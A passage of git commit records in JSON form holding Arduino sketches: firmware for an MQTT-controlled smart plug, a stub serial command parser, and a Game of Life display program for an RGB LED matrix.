*len = net_client.read(buf, BUFSIZE - 1);\n buf[*len] = 0;\n\n net_client.stop();\n}\n\nbool get_host_v2() {\n uint8_t buf[BUFSIZE];\n uint16_t len;\n\n len = snprintf((char *)buf + 3, BUFSIZE - 3, \"{\\\"a\\\":\\\"%s\\\",\\\"n\\\":\\\"1\\\",\\\"v\\\":\\\"v1.0\\\",\\\"o\\\":\\\"1\\\"}\", g_appkey);\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n len += 3;\n\n buf[len] = 0;\n\n simple_send_recv(buf, &len, \"tick-t.yunba.io\", 9977);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(g_url, root[\"c\"]);\n return true;\n }\n }\n }\n Serial.println(\"eh\");\n return false;\n}\n\nbool setup_with_appkey_and_devid() {\n uint8_t buf[BUFSIZE];\n uint16_t len;\n\n len = snprintf((char *)buf + 3, BUFSIZE - 3, \"{\\\"a\\\":\\\"%s\\\",\\\"p\\\":4,\\\"d\\\":\\\"%s\\\"}\", g_appkey, g_devid);\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n len += 3;\n\n buf[len] = 0;\n\n simple_send_recv(buf, &len, \"reg-t.yunba.io\", 9944);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(username, root[\"u\"]);\n strcpy(password, root[\"p\"]);\n strcpy(client_id, root[\"c\"]);\n return true;\n }\n }\n }\n\n Serial.println(\"es\");\n return false;\n}\n\nvoid mqtt_init() {\n\n}\n\nvoid check_connect() {\n if (millis() - g_last_check_ms > 2000) {\n bool st = mqtt_client->connected();\n Serial.print(\"cs:\");\n Serial.println(st);\n\n if (st != g_net_status) {\n g_net_status = st;\n }\n\n if (!st) {\n\/\/ mqtt_client->disconnect();\n delete(mqtt_client);\n delete(mqtt_net_client);\n\n init_ethernet();\n init_yunba();\n connect_yunba();\n }\n g_last_check_ms = millis();\n }\n}\n\nvoid set_status(uint8_t status) {\n if (status != 0)\n status = 1;\n\n if (g_status == status)\n return;\n\n g_status = status;\n if (status == 0) {\n Serial.println(0);\n digitalWrite(PIN_CONTROL, LOW);\n } else {\n Serial.println(1);\n digitalWrite(PIN_CONTROL, HIGH);\n }\n\/\/ report_status();\n}\n\nvoid report_status() {\n uint8_t buf[BUFSIZE];\n\n snprintf((char *)buf, BUFSIZE, \"{\\\"status\\\":%d,\\\"devid\\\":\\\"%s\\\"}\", g_status, g_devid);\n Serial.println((char *)buf);\n mqtt_client->publish(g_topic, (char *)buf);\n}\n\nvoid messageReceived(String topic, String payload, char *bytes, unsigned int length) {\n #if 1\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n\n bytes[length] = 0;\n Serial.println(bytes);\n\n JsonObject& root = jsonBuffer.parseObject(bytes);\n if (!root.success()) {\n Serial.println(\"js\");\n return;\n }\n\n if (strcmp(root[\"devid\"], g_devid) != 0) {\n Serial.println(\"dv\");\n return;\n }\n\n if (strcmp(root[\"cmd\"], \"plug_set\") == 0) {\n uint8_t st = root[\"status\"];\n set_status(st);\n } else if (strcmp(root[\"cmd\"], \"plug_get\") == 0) {\n report_status();\n }\n #endif\n}\n\nvoid extMessageReceived(EXTED_CMD cmd, int status, String payload, unsigned int length) {\n Serial.println(\"em\");\n}\n\nvoid init_ethernet() {\n uint8_t mac[] = {0xb0, 0x5a, 0xda, 0x3a, 0x2e, 0x7e};\n\/\/ IPAddress ip(192,168,2,183);\n\/\/ Ethernet.begin(mac, ip);\n\n Serial.println(\"ie..\"); \/\/ init ethernet\n while (!Ethernet.begin(mac)) {\n Serial.println(\"..\");\n delay(1000);\n }\n\n Serial.print(\"i:\");\n Serial.println(Ethernet.localIP());\n#if 0\n Serial.print(\"s:\");\n Serial.println(Ethernet.subnetMask());\n Serial.print(\"g:\");\n Serial.println(Ethernet.gatewayIP());\n Serial.print(\"d:\");\n Serial.println(Ethernet.dnsServerIP());\n#endif\n}\n\nvoid init_yunba() {\n get_host_v2();\n get_ip_port();\n setup_with_appkey_and_devid();\n\n mqtt_net_client = new EthernetClient();\n mqtt_client = new MQTTClient();\n mqtt_client->begin(g_addr, g_port, *mqtt_net_client);\n}\n\nvoid connect_yunba() {\n Serial.println(\"cn..\"); \/\/ connecting\n\n while (!mqtt_client->connect(client_id, username, password)) {\n Serial.println(\"..\");\n delay(1000);\n }\n\n g_last_check_ms = millis();\n Serial.println(\"co\"); \/\/ connect ok\n\n\/\/ mqtt_client->subscribe(g_topic);\n mqtt_client->publish(\",yali\", g_devid); \/\/ set alias\n}\n\nvoid setup() {\n\n Serial.begin(57600);\n Serial.println(\"st..\"); \/\/ setup\n\n pinMode(PIN_CONTROL, OUTPUT);\n digitalWrite(PIN_CONTROL, LOW);\n\n init_ethernet();\n\n init_yunba();\n connect_yunba();\n\n Serial.println(\"so\"); \/\/ init ok\n}\n\nvoid loop() {\n mqtt_client->loop();\n\n check_connect();\n\n\/\/ Ethernet.maintain();\n\n delay(100);\n}\n\n","old_contents":"#include <Ethernet.h>\n#include <ArduinoJson.h>\n#include <MQTTClient.h>\n\nconst char *g_appkey = \"56a0a88c4407a3cd028ac2fe\";\nconst char *g_topic = \"office\";\nconst char *g_devid = \"plug_plc\";\n\n#define BUFSIZE 128\n#define JSON_BUFSIZE 168\n#define PIN_CONTROL 4\n\nuint8_t mac[] = {0xb0, 0x5a, 0xda, 0x3a, 0x2e, 0x7e};\n\nbool g_net_status = false;\nchar g_url[32];\n\nchar g_addr[32];\nuint16_t g_port;\n\nunsigned long g_last_check_ms = 0;\nchar client_id[32];\nchar username[24];\nchar password[16];\n\nEthernetClient *mqtt_net_client;\nMQTTClient *mqtt_client;\n\nuint8_t g_status = 0;\n\nbool get_ip_port() {\n char *p = strstr(g_url, \"tcp:\/\/\");\n if (p) {\n p += 6;\n char *q = strchr(p, ':');\n if (q) {\n int len = strlen(p) - strlen(q);\n if (len > 0) {\n memcpy(g_addr, p, len);\n g_port = (uint16_t)atoi(q + 1);\n#if 0\n Serial.print(\"i:\");\n Serial.println(g_addr);\n Serial.print(\"p:\");\n Serial.println(g_port);\n#endif\n return true;\n }\n }\n }\n return false;\n}\n\nvoid simple_send_recv(uint8_t *buf, uint16_t *len, const char *host, uint16_t port) {\n EthernetClient net_client;\n\n while (0 == net_client.connect(host, port)) {\n Serial.println(\"cs\"); \/\/ connect server\n delay(1000);\n }\n delay(100);\n\n Serial.println(\"wd\"); \/\/ write data\n Serial.println((char *)buf + 3);\n net_client.write(buf, *len);\n net_client.flush();\n\n Serial.println(\"ca\"); \/\/ check available\n while (!net_client.available()) {\n Serial.println(\"..\"); \/\/ wait data\n delay(1000);\n }\n\n Serial.println(\"rd\"); \/\/ read data\n *len = net_client.read(buf, BUFSIZE - 1);\n buf[*len] = 0;\n\n net_client.stop();\n}\n\nbool get_host_v2() {\n uint8_t buf[BUFSIZE];\n uint16_t len;\n\n len = snprintf((char *)buf + 3, BUFSIZE - 3, \"{\\\"a\\\":\\\"%s\\\",\\\"n\\\":\\\"1\\\",\\\"v\\\":\\\"v1.0\\\",\\\"o\\\":\\\"1\\\"}\", g_appkey);\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n len += 3;\n\n buf[len] = 0;\n\n simple_send_recv(buf, &len, \"tick-t.yunba.io\", 9977);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(g_url, root[\"c\"]);\n return true;\n }\n }\n }\n Serial.println(\"eh\");\n return false;\n}\n\nbool setup_with_appkey_and_devid() {\n uint8_t buf[BUFSIZE];\n uint16_t len;\n\n len = snprintf((char *)buf + 3, BUFSIZE - 3, \"{\\\"a\\\":\\\"%s\\\",\\\"p\\\":4,\\\"d\\\":\\\"%s\\\"}\", g_appkey, g_devid);\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n len += 3;\n\n buf[len] = 0;\n\n simple_send_recv(buf, &len, \"reg-t.yunba.io\", 9944);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(username, root[\"u\"]);\n strcpy(password, root[\"p\"]);\n strcpy(client_id, root[\"c\"]);\n return true;\n }\n }\n }\n\n Serial.println(\"es\");\n return false;\n}\n\nvoid mqtt_init() {\n\n}\n\nvoid check_connect() {\n if (millis() - g_last_check_ms > 2000) {\n bool st = mqtt_client->connected();\n Serial.print(\"cs:\");\n Serial.println(st);\n\n if (st != g_net_status) {\n g_net_status = st;\n }\n\n if (!st) {\n\/\/ mqtt_client->disconnect();\n delete(mqtt_client);\n delete(mqtt_net_client);\n\n init_ethernet();\n init_yunba();\n connect_yunba();\n }\n g_last_check_ms = millis();\n }\n}\n\nvoid set_status(uint8_t status) {\n if (status != 0)\n status = 1;\n\n if (g_status == status)\n return;\n\n g_status = status;\n if (status == 0) {\n Serial.println(0);\n digitalWrite(PIN_CONTROL, LOW);\n } else {\n Serial.println(1);\n digitalWrite(PIN_CONTROL, HIGH);\n }\n report_status();\n}\n\nvoid report_status() {\n uint8_t buf[BUFSIZE];\n\n snprintf((char *)buf, BUFSIZE, \"{\\\"status\\\":%d,\\\"devid\\\":\\\"%s\\\"}\", g_status, g_devid);\n Serial.println((char *)buf);\n mqtt_client->publish(g_topic, (char *)buf);\n}\n\nvoid messageReceived(String topic, String payload, char *bytes, unsigned int length) {\n #if 0\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n\n bytes[length] = 0;\n Serial.println(bytes);\n\n JsonObject& root = jsonBuffer.parseObject(bytes);\n if (!root.success()) {\n Serial.println(\"js\");\n return;\n }\n\n if (strcmp(root[\"devid\"], g_devid) != 0) {\n Serial.println(\"dv\");\n return;\n }\n\n if (strcmp(root[\"cmd\"], \"plug_set\") == 0) {\n uint8_t st = root[\"status\"];\n set_status(st);\n } else if (strcmp(root[\"cmd\"], \"plug_get\") == 0) {\n report_status();\n }\n #endif\n}\n\nvoid extMessageReceived(EXTED_CMD cmd, int status, String payload, unsigned int length) {\n Serial.println(\"em\");\n}\n\nvoid init_ethernet() {\n\/\/ IPAddress ip(192,168,2,183);\n\/\/ Ethernet.begin(mac, ip);\n\n Serial.println(\"ie..\"); \/\/ init ethernet\n while (!Ethernet.begin(mac)) {\n Serial.println(\"..\");\n delay(1000);\n }\n\n Serial.print(\"i:\");\n Serial.println(Ethernet.localIP());\n#if 0\n Serial.print(\"s:\");\n Serial.println(Ethernet.subnetMask());\n Serial.print(\"g:\");\n Serial.println(Ethernet.gatewayIP());\n Serial.print(\"d:\");\n Serial.println(Ethernet.dnsServerIP());\n#endif\n}\n\nvoid init_yunba() {\n get_host_v2();\n get_ip_port();\n setup_with_appkey_and_devid();\n\n mqtt_net_client = new EthernetClient();\n mqtt_client = new MQTTClient();\n mqtt_client->begin(g_addr, g_port, *mqtt_net_client);\n}\n\nvoid connect_yunba() {\n Serial.println(\"cn..\"); \/\/ connecting\n\n while (!mqtt_client->connect(client_id, username, password)) {\n Serial.println(\"..\");\n delay(1000);\n }\n\n g_last_check_ms = millis();\n Serial.println(\"co\"); \/\/ connect ok\n\n\/\/ mqtt_client->subscribe(g_topic);\n mqtt_client->publish(\",yali\", g_devid); \/\/ set alias\n}\n\nvoid setup() {\n\n Serial.begin(57600);\n Serial.println(\"st..\"); \/\/ setup\n\n pinMode(PIN_CONTROL, OUTPUT);\n digitalWrite(PIN_CONTROL, LOW);\n\n init_ethernet();\n\n init_yunba();\n\n Serial.println(\"so\"); \/\/ init ok\n}\n\nvoid loop() {\n mqtt_client->loop();\n\n check_connect();\n\n Ethernet.maintain();\n\n delay(100);\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"37762c6fa7890aef1d122d98826effc45ca93428","subject":"partial implementation of psuedocode","message":"partial implementation of psuedocode","repos":"OpenCT\/embedded-software","old_file":"prototype.ino","new_file":"prototype.ino","new_contents":"byte in[1024];\nbyte inIndex,key;\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n\n}\nvoid loop() {\n \/\/ if there's any serial available, read it:\n while (Serial.available() > 0) {\n \n inIndex = (inIndex+1)%1024;\n in[inIndex] = Serial.read();\n \n if(in[inIndex] != ' ')\n {\n byte command = str2command(key,inIndex);\n key = inIndex + 1;\n switch(command){\n case 0:\n config();\n break;\n case 1:\n debug();\n break;\n case 2:\n load();\n break;\n case 3:\n manual();\n break;\n case 4:\n pause();\n break;\n case 5:\n resume();\n break;\n case 6:\n start();\n break;\n case 7:\n status();\n break;\n case 8:\n stop();\n break;\n case 9:\n test();\n break;\n case 10:\n version();\n break;\n }\n }\n\n }\n}\n\n\nbyte str2command(byte start, byte end){\n \/\/config, debug, load\t, manual, pause, resume, start, status, stop, test, version\n \n return 0; \/\/should return index of the command or -1 for non-existant\n}\nvoid config(void){\n \n}\nvoid debug(void){\n \n}\nvoid load(void){\n \n}\nvoid manual(void){\n \n}\nvoid pause(void){\n \n}\nvoid resume(void){\n \n}\nvoid start(void){\n \n}\nvoid status(void){\n \n}\nvoid stop(void){\n \n}\nvoid test(void){\n \/\/run test suite\n}\nvoid version(void){\n Serial.println(\"0.0.1\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'prototype.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5e75ebffdf12c4c7fd4883c08f666ada40738de1","subject":"added Conway's Game of Life example","message":"added Conway's Game of Life example\n","repos":"ReclaimerLabs\/RGBmatrixpanelCPLD,ReclaimerLabs\/RGBmatrixpanelCPLD","old_file":"src\/examples\/InternetWindowOfLife.ino","new_file":"src\/examples\/InternetWindowOfLife.ino","new_contents":"\/**\n * @file InternetWindowOfLife.c\n * @author Alex Hiam - <alex@graycat.io>\n *\n * @brief Conway's Game of Life for the Reclaimer Labs Internet Window.\n * \n * Runs 1-3 Game of Life simulations separately in the R, G and B color \n * channels. Every 5 minutes the panel is cleared and a new simulation starts,\n * each time deciding randomly which colors are enabled.\n * \n * See: https:\/\/github.com\/ReclaimerLabs\/RGBmatrixpanelCPLD\n *\/\n\n#include <RGBmatrixPanelCPLD.h>\n\n\n#define BRIGHTNESS 0x08 \/\/\/< The brightness of each lit pixel\n#define STEP_PERIOD_MS 100 \/\/\/< How often to update the universes (minimum)\n#define WRAP_EDGES 1 \/\/\/< 1 to wrap around display edges, 0 to not\n\n#define UNIVERSE_DURATION_MS 300000 \/\/\/< How long each simulation runs\n\n\n#define WIDTH 128 \/\/\/< Display width\n#define HEIGHT 64 \/\/\/< Display height\n\n#define N_CELLS ((WIDTH) * (HEIGHT)) \/\/\/< Population size in cells\n#define N_BYTES ((N_CELLS) \/ 8) \/\/\/< Number of bytes to store population (\/8 for 1 bit per cell)\n#define BUFFER_SIZE ((N_CELLS) \/ 4) \/\/\/< Size of entire ping-pong buffer (2x N_BYTES for front+back)\n\n\n#define RESYNC_PERIOD_MS 5000 \/\/\/< How often to resync the CPLD (can get out of sync with ESD)\n\n\/**\n * A Game of Life object\n * \n * Contains the state of a Game of Life universe.\n * (should probably get converted to an actual C++ object...)\n *\/\ntypedef struct {\n uint16_t width; \/\/\/< Width of the universe\n uint16_t height; \/\/\/< Height of the universe\n uint16_t n_cells; \/\/\/< Number of cells in the universe (width*height)\n uint16_t n_bytes; \/\/\/< Number of bytes in the universe (cells \/ 8)\n uint8_t *buffer; \/\/\/< Pointer to start of allocated ping-pong buffer\n uint16_t buffer_len; \/\/\/< Length of the entire allocated ping-pong buffer\n uint8_t *current_universe; \/\/\/< Pointer to front buffer (being displayed)\n uint8_t *next_universe; \/\/\/< Buffer to write next calculated frame to\n uint8_t wrap_edges; \/\/\/< Whether or not to wrap around edges\n} GameOfLife;\n\n\/\/ Allocate buffers and GameOfLife objects for R, G and B universes: \nuint8_t sg_red_buffer[BUFFER_SIZE];\nstatic GameOfLife sg_red_universe;\n\nuint8_t sg_green_buffer[BUFFER_SIZE];\nstatic GameOfLife sg_green_universe;\n\nuint8_t sg_blue_buffer[BUFFER_SIZE];\nstatic GameOfLife sg_blue_universe;\n\n\n\/\/ Internet Window display instance:\nRGBmatrixPanelCPLD display(WIDTH, HEIGHT);\n\n\n\/\/ Game of Life function prototypes:\n\n\/**\n * Initialize the given game of life universe.\n * \n * @param universe pointer to a #GameOfLife object\n * @param buffer pointer to a pre-allocated buffer of size (width*height)\/4\n * @param width width of the universe\n * @param height height of the universe\n * @param wrap_edges if 1 individuals will wrap around the universe edges, if 0 they'll fall off\n *\/\nvoid gol_init(GameOfLife *universe, uint8_t *buffer, uint16_t width, uint16_t height,\n uint8_t wrap_edges);\n\n\/**\n * Clear the given universe.\n * \n * @param universe pointer to an initialized #GameOfLife object\n *\/\nvoid gol_clear(GameOfLife *universe);\n\n\/**\n * Set the given universe's cells to random states.\n * \n * @param universe pointer to an initialized #GameOfLife object\n *\/\nvoid gol_random_seed(GameOfLife *universe);\n\n\/**\n * Move the given universes clock one tick forward.\n * \n * @param universe pointer to an initialized #GameOfLife object\n * \n * @return returns the number of cells that have changed state\n *\/\nuint16_t gol_tick(GameOfLife *universe);\n\n\/**\n * Get the state of a cell in the given universe.\n * \n * @param universe pointer to an initialized #GameOfLife object\n * @param x the x coordinate of the desired cell\n * @param y the y coordinate of the desired cell\n *\n * @return returns 1 if the cell is alive, 0 if dead\n *\/\nuint8_t gol_get_cell(GameOfLife *universe, uint16_t x, uint16_t y);\n\n\/**\n * Give life to a cell in the given universe.\n * \n * Can be used for initial seeding, or for divine intervention.\n * \n * @param universe pointer to an initialized #GameOfLife object\n * @param x the x coordinate of the desired cell\n * @param y the y coordinate of the desired cell\n *\/\nvoid gol_set_cell(GameOfLife *universe, uint16_t x, uint16_t y);\n\n\/**\n * Kill a cell in the given universe.\n * \n * Can be used for initial seeding, or for divine intervention.\n * \n * @param universe pointer to an initialized #GameOfLife object\n * @param x the x coordinate of the desired cell\n * @param y the y coordinate of the desired cell\n *\/\nvoid gol_clear_cell(GameOfLife *universe, uint16_t x, uint16_t y);\n\n\n\/**\n * Give life to a cell in the given universe's back buffer.\n * \n * Used while computing the next state of the universe, and should\n * probably only be called by other gol_ functions...\n *\n * @param universe pointer to an initialized #GameOfLife object\n * @param x the x coordinate of the desired cell\n * @param y the y coordinate of the desired cell\n *\/\nstatic void gol_set_next_cell(GameOfLife *universe, uint16_t x, uint16_t y);\n\n\/**\n * Kill a cell in the given universe's back buffer.\n * \n * Used while computing the next state of the universe, and should\n * probably only be called by other gol_ functions...\n *\n * @param universe pointer to an initialized #GameOfLife object\n * @param x the x coordinate of the desired cell\n * @param y the y coordinate of the desired cell\n *\/\nstatic void gol_clear_next_cell(GameOfLife *universe, uint16_t x, uint16_t y);\n\n\n\n\/**\n * Draws the R, G and B universes to the display.\n *\/\nvoid draw_universes(void);\n\n\n\/**\n * This is supposed to be defined already, see:\n * https:\/\/community.particle.io\/t\/random-seed-from-cloud-not-working\/17343\/14\n *\/\nvoid random_seed_from_cloud(unsigned seed) {\n srand(seed);\n}\n\n\nvoid setup() {\n \/\/ Initialize the RGBmatrixPanelCPLD object:\n display.begin();\n \n \/\/ Initialize the universes:\n gol_init(&sg_red_universe, sg_red_buffer, WIDTH, HEIGHT, WRAP_EDGES);\n gol_init(&sg_green_universe, sg_green_buffer, WIDTH, HEIGHT, WRAP_EDGES);\n gol_init(&sg_blue_universe, sg_blue_buffer, WIDTH, HEIGHT, WRAP_EDGES);\n}\n\nvoid loop() {\n uint64_t start_time, elapsed_time;\n static uint64_t epoch = 0;\n static uint64_t resync_time = 0;\n static uint8_t enabled_colors;\n \n if (epoch == 0 || millis() - epoch >= UNIVERSE_DURATION_MS) {\n \/\/ It's the dawn of time, need to seed the universes\n\n \/\/ Randomly select which colors are enabled:\n enabled_colors = random(1, 8);\n \/\/ [1-7] for 1 bit per color: bit 0 for red, bit 1 for green and bit 2 for blue\n\n \/\/ Random seed the enabled colors:\n if (enabled_colors & 0x1) {\n \/\/ Bit 0 is set, random seed red:\n gol_random_seed(&sg_red_universe);\n }\n else {\n \/\/ Red is disabled, clear it:\n gol_clear(&sg_red_universe);\n }\n \n if (enabled_colors & 0x2) {\n \/\/ Bit 1 is set, random seed green:\n gol_random_seed(&sg_green_universe);\n }\n else {\n gol_clear(&sg_green_universe);\n }\n \n if (enabled_colors & 0x4) {\n \/\/ Bit 2 is set, random seed blue:\n gol_random_seed(&sg_blue_universe);\n }\n else {\n gol_clear(&sg_blue_universe);\n }\n \n \/\/ Grab the universe start time:\n epoch = millis();\n }\n \n \/\/ Grab the time before displaying the current state and calculating the next:\n start_time = millis();\n \n if (start_time - resync_time >= RESYNC_PERIOD_MS) {\n \/\/ Time to call resync to ensure we're in sync with the CPLD:\n display.resync();\n \/\/ Restart the resync counter:\n resync_time = start_time;\n }\n \n \/\/ Draw the current state of the R,G,B universes:\n draw_universes();\n\n \/\/ Calculate the next state of the universes:\n if (enabled_colors & 0x1) gol_tick(&sg_red_universe);\n if (enabled_colors & 0x2) gol_tick(&sg_green_universe);\n if (enabled_colors & 0x4) gol_tick(&sg_blue_universe);\n \/\/ This could be sped up 3x by updating all the universes at the\n \/\/ same time, but it's nice and object-oriented the way it is...\n \n \/\/ Sleep if there's any time left over in our configured period:\n elapsed_time = millis() - start_time;\n if (STEP_PERIOD_MS > elapsed_time) {\n delay(STEP_PERIOD_MS - elapsed_time);\n }\n}\n\n\nvoid draw_universes(void) {\n uint8_t r, g, b, channels;\n uint16_t x, y;\n \/\/ Loop through every cell:\n for (y=0; y<HEIGHT; y++) {\n for (x=0; x<WIDTH; x++) {\n \/\/ Get the state of the current cell in each universe:\n r = gol_get_cell(&sg_red_universe, x, y);\n g = gol_get_cell(&sg_green_universe, x, y);\n b = gol_get_cell(&sg_blue_universe, x, y);\n \n \/\/ Normalize the pixel brightness:\n channels = r + g + b;\n if (r) r = BRIGHTNESS \/ channels;\n if (g) g = BRIGHTNESS \/ channels;\n if (b) b = BRIGHTNESS \/ channels;\n\n \/\/ Draw it:\n display.drawPixel(x, y, display.Color444(r, g, b));\n }\n }\n}\n\n\nvoid gol_init(GameOfLife *universe, uint8_t *buffer, uint16_t width, uint16_t height,\n uint8_t wrap_edges) {\n \/\/ Set initial values:\n universe->width = width;\n universe->height = height;\n universe->n_cells = width*height;\n universe->n_bytes = universe->n_cells\/8; \/\/ 1 bit per cell\n universe->buffer_len = universe->n_cells\/4; \/\/ 2x n_bytes for front + back buffer\n universe->buffer = buffer;\n universe->current_universe = buffer; \/\/ Start with first half as front buffer\n universe->next_universe = buffer+universe->n_bytes; \/\/ And second half as back buffer\n universe->wrap_edges = wrap_edges ? 1 : 0;\n \n \/\/ Make sure all cells start dead:\n gol_clear(universe);\n}\n\nvoid gol_clear(GameOfLife *universe) {\n uint16_t i;\n \/\/ Quicker to walk through a byte at a time to clear:\n for (i=0; i<universe->buffer_len; i++) {\n universe->buffer[i] = 0;\n }\n}\n\nvoid gol_random_seed(GameOfLife *universe) {\n uint16_t i;\n \/\/ Quicker to walk through a byte at a time:\n for (i=0; i<universe->buffer_len; i++) {\n \/\/ Randomly set all the bits of the current byte:\n universe->buffer[i] = (uint8_t) random(0, 256);\n }\n}\n\nuint16_t gol_tick(GameOfLife *universe) {\n uint16_t cell_x, cell_y, n_changes;\n uint16_t neighbor_x, neighbor_y;\n int8_t offset_x, offset_y;\n uint8_t n_living_neighbors;\n uint8_t *current_universe, *next_universe;\n\n \/\/ Keep local pointers so we don't half to write all that every time:\n current_universe = universe->current_universe;\n next_universe = universe->next_universe;\n \n n_changes = 0;\n \n \/\/ Loop through every cell in the universe:\n for (cell_y=0; cell_y<universe->height; cell_y++) {\n for (cell_x=0; cell_x<universe->width; cell_x++) {\n\n \/\/ First count the number of living neighbors:\n n_living_neighbors = 0;\n for (offset_y=-1; offset_y<2; offset_y++) {\n for (offset_x=-1; offset_x<2; offset_x++) {\n \/\/ Don't count the current cell as a neighbor:\n if (offset_x == 0 && offset_y == 0) continue;\n\n if (!universe->wrap_edges) {\n \/\/ We're not wrapping edges, ignore cells past display edges:\n if (cell_x == 0 && offset_x == -1) continue;\n if (cell_x == universe->width-1 && offset_x == 1) continue;\n if (cell_y == 0 && offset_y == -1) continue;\n if (cell_y == universe->height-1 && offset_y == 1) continue;\n neighbor_x = offset_x + cell_x;\n neighbor_y = offset_y + cell_y;\n }\n else {\n \/\/ Edge wrap enabled, any neighbor past the edge wraps to the other side: \n if (cell_x == 0 && offset_x == -1) {\n neighbor_x = universe->width-1;\n }\n else if (cell_x == universe->width-1 && offset_x == 1){\n neighbor_x = 0;\n }\n else neighbor_x = offset_x + cell_x;\n \n if (cell_y == 0 && offset_y == -1) {\n neighbor_y = universe->height-1;\n }\n else if (cell_y == universe->height-1 && offset_y == 1) {\n neighbor_y = 0;\n }\n else neighbor_y = offset_y + cell_y;\n }\n\n n_living_neighbors += gol_get_cell(universe, neighbor_x, neighbor_y);\n }\n }\n \n \/\/ Now n_living_neighbors holds the number of living neighbors, time to check the current cell:\n if (gol_get_cell(universe, cell_x, cell_y)) {\n \/\/ It's alive!\n if (n_living_neighbors < 2) {\n \/\/ Cell dies of underpopulation, set the cells state in the back buffer:\n gol_clear_next_cell(universe, cell_x, cell_y);\n n_changes++;\n }\n else if (n_living_neighbors > 3) {\n \/\/ Cell dies of overpopulation\n gol_clear_next_cell(universe, cell_x, cell_y);\n n_changes++;\n }\n else {\n \/\/ Cell survives\n gol_set_next_cell(universe, cell_x, cell_y);\n }\n \n }\n else {\n \/\/ It's dead :(\n if (n_living_neighbors == 3) {\n \/\/ New cell is born\n gol_set_next_cell(universe, cell_x, cell_y);\n n_changes++;\n }\n else {\n \/\/ Stays dead\n gol_clear_next_cell(universe, cell_x, cell_y);\n }\n }\n }\n }\n \n \/\/ Now we've fully updated the back buffer it's time to ping-pong:\n universe->current_universe = next_universe;\n universe->next_universe = current_universe;\n \n return n_changes;\n}\n\n\/**\n * Calculates the buffer index and bit number of the given cell.\n *\n * @param x the x coordinate of desired the cell\n * @param y the y coordinate of desired the cell\n * @param byte_index pointer to where to store the index to the byte in the buffer where the cell is\n * @param bit_num pointer to where to store which bit of the byte stores the cell\n *\/\nstatic void gol_find_cell(uint16_t x, uint16_t y, uint16_t *byte_index, uint8_t *bit_num) {\n uint16_t cell_index;\n \/\/ First compute index in cells (bits):\n cell_index = y * WIDTH + x;\n \/\/ Divide by 8 to convert to bytes:\n (*byte_index) = cell_index \/ 8;\n \/\/ The the bit number is given by the remainder: \n (*bit_num) = 7 - (cell_index % 8);\n}\n\nuint8_t gol_get_cell(GameOfLife *universe, uint16_t x, uint16_t y) {\n uint16_t byte_index;\n uint8_t bit_num;\n \/\/ Get the bit location of the cell:\n gol_find_cell(x, y, &byte_index, &bit_num);\n \/\/ Move the cell's bit to the lowest bit position:\n return (universe->current_universe[byte_index] >> bit_num) & 0x01;\n}\n\nvoid gol_set_cell(GameOfLife *universe, uint16_t x, uint16_t y) {\n uint16_t byte_index;\n uint8_t bit_num;\n gol_find_cell(x, y, &byte_index, &bit_num);\n universe->current_universe[byte_index] |= 1<<bit_num;\n}\n\nvoid gol_clear_cell(GameOfLife *universe, uint16_t x, uint16_t y) {\n uint16_t byte_index;\n uint8_t bit_num;\n gol_find_cell(x, y, &byte_index, &bit_num);\n universe->current_universe[byte_index] &= ~(1<<bit_num);\n}\n\nstatic void gol_set_next_cell(GameOfLife *universe, uint16_t x, uint16_t y) {\n uint16_t byte_index;\n uint8_t bit_num;\n gol_find_cell(x, y, &byte_index, &bit_num);\n universe->next_universe[byte_index] |= 1<<bit_num;\n}\n\nstatic void gol_clear_next_cell(GameOfLife *universe, uint16_t x, uint16_t y) {\n uint16_t byte_index;\n uint8_t bit_num;\n gol_find_cell(x, y, &byte_index, &bit_num);\n universe->next_universe[byte_index] &= ~(1<<bit_num);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/examples\/InternetWindowOfLife.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"997f2d59d59707e923933ad7a1a3103a6cf5f595","subject":"No changes","message":"No changes\n","repos":"fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs","old_file":"wbox2.ino","new_file":"wbox2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of 